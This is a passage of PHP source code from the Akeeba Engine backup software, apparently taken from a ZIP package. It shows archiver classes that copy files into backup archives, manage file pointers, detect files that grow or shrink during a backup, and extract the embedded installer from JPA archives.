	 * @return  bool  True to indicate more processing is required in the next step
	 */
	protected function putUncompressedFileIntoArchive(&$sourceNameOrData, $fileLength = 0, $resumeOffset = null)
	{
		$expectedTotalLength = $fileLength;
		// Copy the file contents, ignore directories
		$sourceFilePointer = @fopen($sourceNameOrData, "r");

		if ($sourceFilePointer === false)
		{
			clearstatcache($sourceNameOrData);

			$fileExists = @file_exists($sourceNameOrData);

			if (!$fileExists && $resumeOffset === null)
			{
				throw new ErrorException(
					sprintf(
						'The file %s went away before we could start putting it in the backup archive. We cannot continue the backup. Your archive is damaged! If this is a temporary, cache, or log file we advise you to exclude it from the backup. If its containing directory is meant to include temporary, cache, or log file we recommend that you exclude the contents of the file\'s containing folder.',
						$sourceNameOrData
					)
				);
			}

			if (!$fileExists)
			{
				throw new ErrorException(
					sprintf(
						'The file %s went away while putting it in the backup archive. We cannot continue the backup. Your archive is damaged! If this is a temporary, cache, or log file we advise you to exclude it from the backup. If its containing directory is meant to include temporary, cache, or log file we recommend that you exclude the contents of the file\'s containing folder.',
						$sourceNameOrData
					)
				);
			}

			// If we have already written the file header and can't read the data your archive is busted.
			throw new ErrorException('Unreadable file ' . $sourceNameOrData . '. Check permissions. Your archive is corrupt!');
		}

		// Seek to the resume point if required
		if (!is_null($resumeOffset))
		{
			// Seek to new offset
			$seek_result = @fseek($sourceFilePointer, $resumeOffset);

			if ($seek_result === -1)
			{
				// What?! We can't resume!
				$this->conditionalFileClose($sourceFilePointer);

				Factory::getLog()->warning(
					sprintf('The file %s went away!', $sourceNameOrData)
				);

				throw new ErrorException(sprintf('Could not resume packing of file %s. Your archive is damaged!', $sourceNameOrData));
			}

			// Change the uncompressed size to reflect the remaining data
			$fileLength -= $resumeOffset;
		}

		$mustBreak = $this->putDataFromFileIntoArchive($sourceFilePointer, $fileLength, $expectedTotalLength);

		$this->conditionalFileClose($sourceFilePointer);

		return $mustBreak;
	}

	/**
	 * Return the requested permissions for the backup archive file.
	 *
	 * @return  int
	 * @since   8.0.0
	 */
	protected function getPermissions(): int
	{
		if (!is_null($this->permissions))
		{
			return $this->permissions;
		}

		$configuration     = Factory::getConfiguration();
		$permissions       = $configuration->get('engine.archiver.common.permissions', '0666') ?: '0666';
		$this->permissions = octdec($permissions);

		return $this->permissions;
	}

	/**
	 * Put up to $fileLength bytes of the file pointer $sourceFilePointer into the backup archive. Returns true if we
	 * ran out of time and need to perform a step break. Returns false when the whole quantity of data has been copied.
	 * Throws an ErrorException if something terrible happens.
	 *
	 * @param   resource  $sourceFilePointer  The pointer to the input file
	 * @param   int       $fileLength         How many bytes to copy
	 *
	 * @return  bool  True to indicate we need to resume packing the file in the next step
	 */
	private function putDataFromFileIntoArchive(&$sourceFilePointer, &$fileLength, $expectedTotalLength)
	{
		// Get references to engine objects we're going to be using
		$configuration = Factory::getConfiguration();
		$timer         = Factory::getTimer();
		$isEOF         = false;

		// Quick copy data into the archive, AKEEBA_CHUNK bytes at a time
		while (!$isEOF && ($timer->getTimeLeft() > 0) && ($fileLength > 0))
		{
			// DEBUG - Artificial delay for development purposes
			if (defined('AKEEBA_DEBUG_BIG_FILE_MULTIPART_DELAY'))
			{
				usleep(AKEEBA_DEBUG_BIG_FILE_MULTIPART_DELAY);
			}

			// Normally I read up to AKEEBA_CHUNK bytes at a time, unless the remaining $fileLength is smaller.
			$chunkSize = min(AKEEBA_CHUNK, $fileLength);

			// Do I have a split ZIP?
			if ($this->useSplitArchive)
			{
				// I must only read up to the free space in the part file if it's less than AKEEBA_CHUNK.
				$free_space = $this->getPartFreeSize();
				$chunkSize  = min($free_space, AKEEBA_CHUNK, $fileLength);

				// If I ran out of free space I have to create a new part file.
				if ($free_space <= 0)
				{
					$this->createAndOpenNewPart();

					// We have created the part. If the user asked for immediate post-proc, break step now.
					if ($configuration->get('engine.postproc.common.after_part', 0))
					{
						$resumeOffset = @ftell($sourceFilePointer);
						$this->conditionalFileClose($sourceFilePointer);

						$configuration->set('volatile.engine.archiver.resume', $resumeOffset);
						$configuration->set('volatile.engine.archiver.processingfile', true);
						$configuration->set('volatile.breakflag', true);

						// Always close the open part when immediate post-processing is requested
						@$this->fclose($this->fp);
						$this->fp = null;

						return true;
					}

					// No immediate post-proc. Recalculate the optimal chunk size.
					$free_space = $this->getPartFreeSize();
					$chunkSize  = min($free_space, AKEEBA_CHUNK, $fileLength);
				}
			}

			// Read some data and write it to the backup archive part file
			$data         = fread($sourceFilePointer, $chunkSize);
			$bytesWritten = $this->fwrite($this->fp, $data, akstrlen($data));

			// Subtract the written bytes from the bytes left to write
			$fileLength -= $bytesWritten;

			// Have we reached the End of File?
			$isEOF = feof($sourceFilePointer);

			/**
			 * CATCH FILE SIZE CHANGE: THE FILE GREW
			 *
			 * PHP claims we have not reached EOF, but $fileLength is 0 which means that we have read as much data as
			 * there was to read from the file. This is suspicious.
			 *
			 * First, we check if this is really true by trying to read one more byte. If this fails, it means that we
			 * actually have reached EOF, but either PHP or the underlying Operating System did something funky. In this
			 * case we just shrug and move on.
			 *
			 * If, however, we COULD read another byte it means that the file grew between starting to back it up and
			 * reaching this point. In this case we will warn the user. Most likely we have a temporary, or log file
			 * (usually a PHP error log) which should be **excluded** from the backup.
			 */
			if (!$isEOF && $fileLength === 0)
			{
				$junk = fread($sourceFilePointer, 1);

				if ($junk === false || is_string($junk) && strlen($junk) === 0)
				{
					break;
				}

				$metaData = stream_get_meta_data($sourceFilePointer);

				@clearstatcache($metaData['uri']);

				$actualFileSize = @filesize($metaData['uri']);

				Factory::getLog()->warning(
					sprintf(
						'The file %s grew while putting it in the backup archive. Expected size: %u bytes. Actual size: %u. If this is a temporary, cache, or log file we advise you to exclude it from the backup. If its containing directory is meant to include temporary, cache, or log file we recommend that you exclude the contents of the file\'s containing folder.',
						$metaData['uri'], $expectedTotalLength, $actualFileSize
					)
				);

				break;
			}

			/**
			 * CATCH FILE SIZE CHANGE: THE FILE SHRUNK
			 *
			 * PHP claims that we have reached EOF, but $fileLength is greater than zero, i.e. we have not read as much
			 * data from the file as its size was at the start of the backup. This means that the file shrunk between
			 * start of backup and now.
			 *
			 * Since we cannot create data out of nothing we have to warn the user about this problem and immediately
			 * fail the backup. Most likely this was a temporary file, therefore it (or its containing directory) needs
			 * to be excluded from the backup.
			 */
			if ($isEOF && ($fileLength > 0))
			{
				$metaData = stream_get_meta_data($sourceFilePointer);

				@clearstatcache($metaData['uri']);

				$fileExists     = @file_exists($metaData['uri']);
				$actualFileSize = $fileExists ? @filesize($metaData['uri']) : null;

				if ($fileExists)
				{
					Factory::getLog()->warning(
						sprintf('The file %s shrunk during backup.', $metaData['uri'])
					);

					throw new ErrorException(
						sprintf(
							'The file %s shrunk while putting it in the backup archive. Expected size: %u bytes. Actual size: %u. We cannot continue the backup. Your archive is damaged! If this is a temporary, cache, or log file we advise you to exclude it from the backup. If its containing directory is meant to include temporary, cache, or log file we recommend that you exclude the contents of the file\'s containing folder.',
							$metaData['uri'], $expectedTotalLength, $actualFileSize
						)
					);
				}
				else
				{
					Factory::getLog()->warning(
						sprintf('The file %s went away during backup.', $metaData['uri'])
					);

					throw new ErrorException(
						sprintf(
							'The file %s went away while putting it in the backup archive. We cannot continue the backup. Your archive is damaged! If this is a temporary, cache, or log file we advise you to exclude it from the backup. If its containing directory is meant to include temporary, cache, or log file we recommend that you exclude the contents of the file\'s containing folder.',
							$metaData['uri']
						)
					);
				}
			}
		}

		// WARNING!!! The extra $unc_len != 0 check is necessary as PHP won't reach EOF for 0-byte files.
		if (!feof($sourceFilePointer) && ($fileLength != 0))
		{
			// We have to break, or we'll time out!
			$resumeOffset = @ftell($sourceFilePointer);
			$this->conditionalFileClose($sourceFilePointer);

			$configuration->set('volatile.engine.archiver.resume', $resumeOffset);
			$configuration->set('volatile.engine.archiver.processingfile', true);

			return true;
		}

		return false;
	}
}
PK     \T.    ;  vendor/akeeba/engine/engine/Archiver/BaseFileManagement.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;

if (!function_exists('akstrlen'))
{
	/**
	 * Attempt to use mbstring for calculating the binary string length.
	 *
	 * @param $string
	 *
	 * @return int
	 */
	function akstrlen($string)
	{
		return function_exists('mb_strlen') ? mb_strlen($string, '8bit') : strlen($string);
	}
}

/**
 * Abstract class for an archiver using managed file pointers
 */
abstract class BaseFileManagement extends Base
{
	/** @var resource File pointer to the archive's central directory file (for ZIP) */
	protected $cdfp = null;

	/** @var resource File pointer to the archive being currently written to */
	protected $fp = null;

	/** @var   array  An array of the last open files for writing and their last written to offsets */
	private $fileOffsets = [];

	/** @var   array  An array of open file pointers */
	private $filePointers = [];

	/** @var   null|string  The last filename fwrite() wrote to */
	private $lastFileName = null;

	/** @var   null|resource  The last file pointer fwrite() wrote to */
	private $lastFilePointer = null;

	/**
	 * Release file pointers when the object is being destroyed
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __destruct()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Release file pointers when the object is being serialized
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Closes all open files known to this archiver object
	 *
	 * @return  void
	 */
	protected function _closeAllFiles()
	{
		if (!empty($this->filePointers))
		{
			foreach ($this->filePointers as $file => $fp)
			{
				$this->conditionalFileClose($fp);

				unset($this->filePointers[$file]);
			}
		}
	}

	/**
	 * Closes an already open file
	 *
	 * @param   resource  $fp  The file pointer to close
	 *
	 * @return  boolean
	 */
	protected function fclose(&$fp)
	{
		$result = true;

		$offset = array_search($fp, $this->filePointers, true);

		if (!is_null($fp) && is_resource($fp))
		{
			$result = $this->conditionalFileClose($fp);
		}

		if ($offset !== false)
		{
			unset($this->filePointers[$offset]);
		}

		$fp = null;

		return $result;
	}

	protected function fcloseByName($file)
	{
		if (!array_key_exists($file, $this->filePointers))
		{
			return true;
		}

		$ret = $this->fclose($this->filePointers[$file]);

		if (array_key_exists($file, $this->filePointers))
		{
			unset($this->filePointers[$file]);
		}

		return $ret;
	}

	/**
	 * Opens a file, if it's not already open, or returns its cached file pointer if it's already open
	 *
	 * @param   string  $file  The filename to open
	 * @param   string  $mode  File open mode, defaults to binary write
	 *
	 * @return  resource
	 */
	protected function fopen($file, $mode = 'w')
	{
		if (!array_key_exists($file, $this->filePointers))
		{
			//Factory::getLog()->debug("Opening backup archive $file with mode $mode");
			$this->filePointers[$file] = @fopen($file, $mode);

			// If we open a file for append we have to seek to the correct offset
			if (substr($mode, 0, 1) == 'a')
			{
				if (isset($this->fileOffsets[$file]))
				{
					Factory::getLog()->debug("Truncating backup archive file $file to " . $this->fileOffsets[$file] . " bytes");
					@ftruncate($this->filePointers[$file], $this->fileOffsets[$file]);
				}

				fseek($this->filePointers[$file], 0, SEEK_END);
			}
		}

		return $this->filePointers[$file];
	}

	/**
	 * Write to file, defeating magic_quotes_runtime settings (pure binary write)
	 *
	 * @param   resource  $fp     Handle to a file
	 * @param   string    $data   The data to write to the file
	 * @param   integer   $p_len  Maximum length of data to write
	 *
	 * @return  int  The number of bytes written
	 *
	 * @throws  ErrorException  When writing to the file is not possible
	 */
	protected function fwrite($fp, $data, $p_len = null)
	{
		if ($fp !== $this->lastFilePointer)
		{
			$this->lastFilePointer = $fp;
			$this->lastFileName    = array_search($fp, $this->filePointers, true);
		}

		$len = is_null($p_len) ? (akstrlen($data)) : $p_len;
		$ret = fwrite($fp, $data, $len);

		if (($ret === false) || (abs(($ret - $len)) >= 1))
		{
			// Log debug information about the archive file's existence and current size. This helps us figure out if
			// there is a server-imposed maximum file size limit.
			clearstatcache();
			$fileExists  = @file_exists($this->lastFileName) ? 'exists' : 'does NOT exist';
			$currentSize = @filesize($this->lastFileName);

			Factory::getLog()->debug(sprintf("%s::_fwrite() ERROR!! Cannot write to archive file %s. The file %s. File size %s bytes after writing %s of %d bytes. Please check the output directory permissions and make sure you have enough disk space available. If this does not help, please set up a Part Size for Split Archives LOWER than this size and retry backing up.", __CLASS__, $this->lastFileName, $fileExists, $currentSize, $ret, $len));

			throw new ErrorException(sprintf("Couldn\'t write to the archive file; check the output directory permissions and make sure you have enough disk space available. [len=%s / %s]", $ret, $len));
		}

		if ($this->lastFileName !== false)
		{
			$this->fileOffsets[$this->lastFileName] = @ftell($fp);
		}

		return $ret;
	}

	/**
	 * Removes a file path from the list of resumable offsets
	 *
	 * @param $filename
	 */
	protected function removeFromOffsetsList($filename)
	{
		if (isset($this->fileOffsets[$filename]))
		{
			unset($this->fileOffsets[$filename]);
		}
	}

}
PK     \Қf  f  -  vendor/akeeba/engine/engine/Archiver/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\FileSystem;
use Exception;
use RuntimeException;

/**
 * Abstract parent class of all archiver engines
 */
abstract class Base
{
	use FileCloseAware;

	/** @var   string  The archive's comment. It's currently used ONLY in the ZIP file format */
	protected $_comment;

	/** @var Filesystem Filesystem utilities object */
	protected $fsUtils = null;

	/** @var   resource  JPA transformation source handle */
	private $_xform_fp;

	/** @var   int  The total size of the source JPA file */
	private $totalSourceJPASize = 0;

	/**
	 * Public constructor
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __construct()
	{
		$this->__bootstrap_code();
	}

	/**
	 * Wakeup (unserialization) function
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		$this->__bootstrap_code();
	}

	/**
	 * Adds a single file in the archive
	 *
	 * @param   string  $file        The absolute path to the file to add
	 * @param   string  $removePath  Path to remove from $file
	 * @param   string  $addPath     Path to prepend to $file
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	public final function addFile($file, $removePath = '', $addPath = '')
	{
		$storedName = $this->addRemovePaths($file, $removePath, $addPath);

		$this->addFileRenamed($file, $storedName);
	}

	/**
	 * Adds a list of files into the archive, removing $removePath from the
	 * file names and adding $addPath to them.
	 *
	 * @param   array   $fileList    A simple string array of filepaths to include
	 * @param   string  $removePath  Paths to remove from the filepaths
	 * @param   string  $addPath     Paths to add in front of the filepaths
	 *
	 * @return  void
	 *
	 * @throws Exception
	 */
	public final function addFileList(&$fileList, $removePath = '', $addPath = '')
	{
		if (!is_array($fileList))
		{
			Factory::getLog()->warning('addFileList called without a file list array');

			return;
		}

		foreach ($fileList as $file)
		{
			$this->addFile($file, $removePath, $addPath);
		}
	}

	/**
	 * Adds a file to the archive, with a name that's different from the source
	 * filename
	 *
	 * @param   string  $sourceFile  Absolute path to the source file
	 * @param   string  $targetFile  Relative filename to store in archive
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	public function addFileRenamed($sourceFile, $targetFile)
	{
		$mb_encoding = '8bit';

		if (function_exists('mb_internal_encoding'))
		{
			$mb_encoding = mb_internal_encoding();
			mb_internal_encoding('ISO-8859-1');
		}

		try
		{
			$this->_addFile(false, $sourceFile, $targetFile);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());
		}
		finally
		{
			if (function_exists('mb_internal_encoding'))
			{
				mb_internal_encoding($mb_encoding);
			}
		}
	}

	/**
	 * Adds a file to the archive, given the stored name and its contents
	 *
	 * @param   string  $fileName        The base file name
	 * @param   string  $addPath         The relative path to prepend to file name
	 * @param   string  $virtualContent  The contents of the file to be archived
	 *
	 * @return  void
	 */
	public final function addFileVirtual($fileName, $addPath, &$virtualContent)
	{
		$storedName  = $this->addRemovePaths($fileName, '', $addPath);
		$mb_encoding = '8bit';

		if (function_exists('mb_internal_encoding'))
		{
			$mb_encoding = mb_internal_encoding();
			mb_internal_encoding('ISO-8859-1');
		}

		try
		{
			$this->_addFile(true, $virtualContent, $storedName);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());
		}
		finally
		{
			if (function_exists('mb_internal_encoding'))
			{
				mb_internal_encoding($mb_encoding);
			}
		}
	}

	/**
	 * Adds a file to the archive, given the stored name and its contents
	 *
	 * @param   string  $fileName        The base file name
	 * @param   string  $addPath         The relative path to prepend to file name
	 * @param   string  $virtualContent  The contents of the file to be archived
	 *
	 * @return  void
	 *
	 * @deprecated 7.0.0
	 */
	public final function addVirtualFile($fileName, $addPath, &$virtualContent)
	{
		Factory::getLog()->debug('DEPRECATED: addVirtualFile() has been renamed to addFileVirtual().');

		$this->addFileVirtual($fileName, $addPath, $virtualContent);
	}

	/**
	 * Makes whatever finalization is needed for the archive to be considered
	 * complete and useful (or, generally, clean up)
	 *
	 * @return  void
	 */
	abstract public function finalize();

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return  string
	 */
	abstract public function getExtension();

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive. MUST BE OVERRIDEN BY CHILDREN CLASSES.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	abstract public function initialize($targetArchivePath, $options = []);

	/**
	 * Notifies the engine on the backup comment and converts it to plain text for
	 * inclusion in the archive file, if applicable.
	 *
	 * @param   string  $comment  The archive's comment
	 *
	 * @return  void
	 */
	public function setComment($comment)
	{
		// First, sanitize the comment in a text-only format
		$comment        = str_replace("\n", " ", $comment); // Replace newlines with spaces
		$comment        = str_replace("<br>", "\n", $comment); // Replace HTML4 <br> with single newlines
		$comment        = str_replace("<br/>", "\n", $comment); // Replace HTML4 <br> with single newlines
		$comment        = str_replace("<br />", "\n", $comment); // Replace HTML <br /> with single newlines
		$comment        = str_replace("</p>", "\n\n", $comment); // Replace paragraph endings with double newlines
		$comment        = str_replace("<b>", "*", $comment); // Replace bold with star notation
		$comment        = str_replace("</b>", "*", $comment); // Replace bold with star notation
		$comment        = str_replace("<i>", "_", $comment); // Replace italics with underline notation
		$comment        = str_replace("</i>", "_", $comment); // Replace italics with underline notation
		$this->_comment = strip_tags($comment, '');
	}

	/**
	 * Transforms a JPA archive (containing an installer) to the native archive format
	 * of the class. It actually extracts the source JPA in memory and instructs the
	 * class to include each extracted file.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param   integer  $index   The index in the source JPA archive's list currently in use
	 * @param   integer  $offset  The source JPA archive's offset to use
	 *
	 * @return  array|bool  False if an error occurred, return array otherwise
	 */
	public function transformJPA($index, $offset)
	{
		$xform_source = null;

		// Do we have to open the file?
		if (!$this->_xform_fp)
		{
			// Get the source path
			$registry           = Factory::getConfiguration();
			$embedded_installer = $registry->get('akeeba.advanced.embedded_installer');

			// Fetch the name of the installer image
			$installerDescriptors = Factory::getEngineParamsProvider()->getInstallerList();
			$xform_source         = Platform::getInstance()->get_installer_images_path() .
				'/foobar.jpa'; // We need this as a "safe fallback"

			// Try to find a sane default if we are not given a valid embedded installer
			if (!array_key_exists($embedded_installer, $installerDescriptors))
			{
				// This shoud only be necessary if the post-installation script failed to execute.
				if (strpos($embedded_installer, 'angie') === 0)
				{
					$embedded_installer = $this->fromAngieToBrs($embedded_installer);
				}

				// Implements a safe fallback to the generic restoration script included in all backup products.
				if (!array_key_exists($embedded_installer, $installerDescriptors))
				{
					$embedded_installer = 'brs-generic';
				}

				// Even the default fallback does not exist! Pick ANY installer present, and hope it works.
				if (!array_key_exists($embedded_installer, $installerDescriptors))
				{
					Factory::getLog()->warning('I cannot find the selected restoration script, or even the safe fallback. I am picking a random restoration script, and hope it works. This should NEVER, EVER happen! If you see this message, something has gone catastrophically wrong; try reinstalling the backup software.');

					$allInstallers = array_keys($installerDescriptors);

					foreach ($allInstallers as $anInstaller)
					{
						if ($anInstaller == 'none')
						{
							continue;
						}

						$embedded_installer = $anInstaller;
						break;
					}
				}

				$registry->set('akeeba.advanced.embedded_installer', $embedded_installer);
			}

			if (array_key_exists($embedded_installer, $installerDescriptors))
			{
				$packages  = $installerDescriptors[$embedded_installer]['package'] ?? '';
				$langPacks = $installerDescriptors[$embedded_installer]['language'] ?? '';

				if (empty($packages))
				{
					// No installer package specified. Pretend we are done!
					$retArray = [
						"filename" => '', // File name extracted
						"data"     => '', // File data
						"index"    => 0, // How many source JPA files I have
						"offset"   => 0, // Offset in JPA file
						"skip"     => false, // Skip this?
						"done"     => true, // Are we done yet?
						"filesize" => 0,
					];

					return $retArray;
				}

				$packages                 = explode(',', $packages);
				$langPacks                = explode(',', $langPacks);
				$this->totalSourceJPASize = 0;
				$pathPrefix               = Platform::getInstance()->get_installer_images_path() . '/';

				foreach ($packages as $package)
				{
					$filePath                 = $pathPrefix . $package;
					$this->totalSourceJPASize += (int) @filesize($filePath);
				}

				foreach ($langPacks as $langPack)
				{
					$filePath = $pathPrefix . $langPack;

					if (!is_file($filePath))
					{
						continue;
					}

					$packages[]               = $langPack;
					$this->totalSourceJPASize += (int) @filesize($filePath);
				}

				if (count($packages) < $index)
				{
					throw new RuntimeException(__CLASS__ . ":: Installer package index $index not found for embedded installer $embedded_installer");
				}

				$package = $packages[$index];

				// A package is specified, use it!
				$xform_source = $pathPrefix . $package;
			}

			// 2.3: Try to use sane default if the indicated installer doesn't exist
			if (!is_null($xform_source) && !file_exists($xform_source) && (basename($xform_source) != 'brs.jpa'))
			{
				throw new RuntimeException(__CLASS__ . ":: Installer package $xform_source of embedded installer $embedded_installer not found. Please go to the configuration page, select an Embedded Installer, save the configuration and try backing up again.");
			}

			// Try opening the file
			if (!is_null($xform_source) && file_exists($xform_source))
			{
				$this->_xform_fp = @fopen($xform_source, 'r');

				if ($this->_xform_fp === false)
				{
					throw new RuntimeException(__CLASS__ . ":: Can't seed archive with installer package " . $xform_source);
				}
			}
			else
			{
				throw new RuntimeException(__CLASS__ . ":: Installer package " . $xform_source . " does not exist!");
			}
		}

		$headerDataLength = 0;

		if (!$offset)
		{
			// First run detected!
			Factory::getLog()->debug('Initializing with JPA package ' . $xform_source);

			// Skip over the header and check no problem exists
			$offset = $this->_xformReadHeader();

			if ($offset === false)
			{
				throw new RuntimeException('JPA package file was not read');
			}

			$headerDataLength = $offset;
		}

		$ret = $this->_xformExtract($offset);

		$ret['index'] = $index;

		if (is_array($ret))
		{
			$ret['chunkProcessed'] = $headerDataLength + $ret['offset'] - $offset;
			$offset                = $ret['offset'];

			if (!$ret['skip'] && !$ret['done'])
			{
				Factory::getLog()->debug('  Adding ' . $ret['filename'] . '; Next offset:' . $offset);

				$this->addFileVirtual($ret['filename'], '', $ret['data']);
			}
			elseif ($ret['done'])
			{
				$registry             = Factory::getConfiguration();
				$embedded_installer   = $registry->get('akeeba.advanced.embedded_installer');
				$installerDescriptors = Factory::getEngineParamsProvider()->getInstallerList();
				$packages             = $installerDescriptors[$embedded_installer]['package'];
				$packages             = explode(',', $packages);
				$pathPrefix           = Platform::getInstance()->get_installer_images_path() . '/';
				$langPacks            = $installerDescriptors[$embedded_installer]['language'];
				$langPacks            = explode(',', $langPacks);

				foreach ($langPacks as $langPack)
				{
					$filePath = $pathPrefix . $langPack;

					if (!is_file($filePath))
					{
						continue;
					}

					$packages[] = $langPack;
				}

				Factory::getLog()->debug('  Done with package ' . $packages[$index]);

				if (count($packages) > ($index + 1))
				{
					$ret['done']     = false;
					$ret['index']    = $index + 1;
					$ret['offset']   = 0;
					$this->_xform_fp = null;
				}
				else
				{
					Factory::getLog()->debug('  Done with installer seeding.');
				}
			}
			else
			{
				$reason = '  Skipping ' . $ret['filename'];
				Factory::getLog()->debug($reason);
			}
		}
		else
		{
			throw new RuntimeException('JPA extraction returned FALSE. The installer image is corrupt.');
		}

		if ($ret['done'])
		{
			// We are finished! Close the file
			$this->conditionalFileClose($this->_xform_fp);
			Factory::getLog()->debug('Initializing with JPA package has finished');
		}

		$ret['filesize'] = $this->totalSourceJPASize;

		return $ret;
	}

	/**
	 * Common code which gets called on instance creation or wake-up (unserialization)
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	protected function __bootstrap_code()
	{
		$this->fsUtils = Factory::getFilesystemTools();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   boolean  $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string   $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual
	 *                                      is true
	 * @param   string   $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return  boolean  True on success, false otherwise. DEPRECATED: Use exceptions instead.
	 *
	 * @throws  WarningException  When there's a warning (the backup integrity is NOT compromised)
	 * @throws  ErrorException    When there's an error (the backup integrity is compromised – backup dead)
	 */
	abstract protected function _addFile($isVirtual, &$sourceNameOrData, $targetName);

	/**
	 * This function indicates if the path $p_path is under the $p_dir tree. Or,
	 * said in an other way, if the file or sub-dir $p_path is inside the dir
	 * $p_dir.
	 * The function indicates also if the path is exactly the same as the dir.
	 * This function supports path with duplicated '/' like '//', but does not
	 * support '.' or '..' statements.
	 *
	 * Copied verbatim from pclZip library
	 *
	 * @codeCoverageIgnore
	 *
	 * @param   string  $p_dir   Source tree
	 * @param   string  $p_path  Check if this is part of $p_dir
	 *
	 * @return  integer   0 if $p_path is not inside directory $p_dir,
	 *                    1 if $p_path is inside directory $p_dir
	 *                    2 if $p_path is exactly the same as $p_dir
	 */
	private function _PathInclusion($p_dir, $p_path)
	{
		$v_result = 1;

		// ----- Explode dir and path by directory separator
		$v_list_dir       = explode("/", $p_dir);
		$v_list_dir_size  = count($v_list_dir);
		$v_list_path      = explode("/", $p_path);
		$v_list_path_size = count($v_list_path);

		// ----- Study directories paths
		$i = 0;
		$j = 0;

		while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result))
		{
			// ----- Look for empty dir (path reduction)
			if ($v_list_dir[$i] == '')
			{
				$i++;

				continue;
			}

			if ($v_list_path[$j] == '')
			{
				$j++;

				continue;
			}

			// ----- Compare the items
			if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ($v_list_path[$j] != ''))
			{
				$v_result = 0;
			}

			// ----- Next items
			$i++;
			$j++;
		}

		// ----- Look if everything seems to be the same
		if ($v_result)
		{
			// ----- Skip all the empty items
			while (($j < $v_list_path_size) && ($v_list_path[$j] == ''))
			{
				$j++;
			}

			while (($i < $v_list_dir_size) && ($v_list_dir[$i] == ''))
			{
				$i++;
			}

			if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size))
			{
				// ----- There are exactly the same
				$v_result = 2;
			}
			else if ($i < $v_list_dir_size)
			{
				// ----- The path is shorter than the dir
				$v_result = 0;
			}
		}

		// ----- Return
		return $v_result;
	}

	/**
	 * Extracts a file from the JPA archive and returns an in-memory array containing it
	 * and its file data. The data returned is an array, consisting of the following keys:
	 * "filename" => relative file path stored in the archive
	 * "data"     => file data
	 * "offset"   => next offset to use
	 * "skip"     => if this is not a file, just skip it...
	 * "done"     => No more files left in archive
	 *
	 * @codeCoverageIgnore
	 *
	 * @param   integer  $offset  The absolute data offset from archive's header
	 *
	 * @return  array|bool  See description for more information
	 */
	private function &_xformExtract($offset)
	{
		$false = false; // Used to return false values in case an error occurs

		// Generate a return array
		$retArray = [
			"filename" => '', // File name extracted
			"data"     => '', // File data
			"offset"   => 0, // Offset in ZIP file
			"skip"     => false, // Skip this?
			"done"     => false // Are we done yet?
		];

		// If we can't open the file, return an error condition
		if ($this->_xform_fp === false)
		{
			return $false;
		}

		// Go to the offset specified
		if (!fseek($this->_xform_fp, $offset) == 0)
		{
			return $false;
		}

		// Get and decode Entity Description Block
		$signature = fread($this->_xform_fp, 3);

		// Check signature
		if ($signature == 'JPF')
		{
			// This a JPA Entity Block. Process the header.

			// Read length of EDB and of the Entity Path Data
			$length_array = unpack('vblocksize/vpathsize', fread($this->_xform_fp, 4));
			// Read the path data
			$file = fread($this->_xform_fp, $length_array['pathsize']);
			// Read and parse the known data portion
			$bin_data    = fread($this->_xform_fp, 14);
			$header_data = unpack('Ctype/Ccompression/Vcompsize/Vuncompsize/Vperms', $bin_data);
			// Read any unknwon data
			$restBytes = $length_array['blocksize'] - (21 + $length_array['pathsize']);

			if ($restBytes > 0)
			{
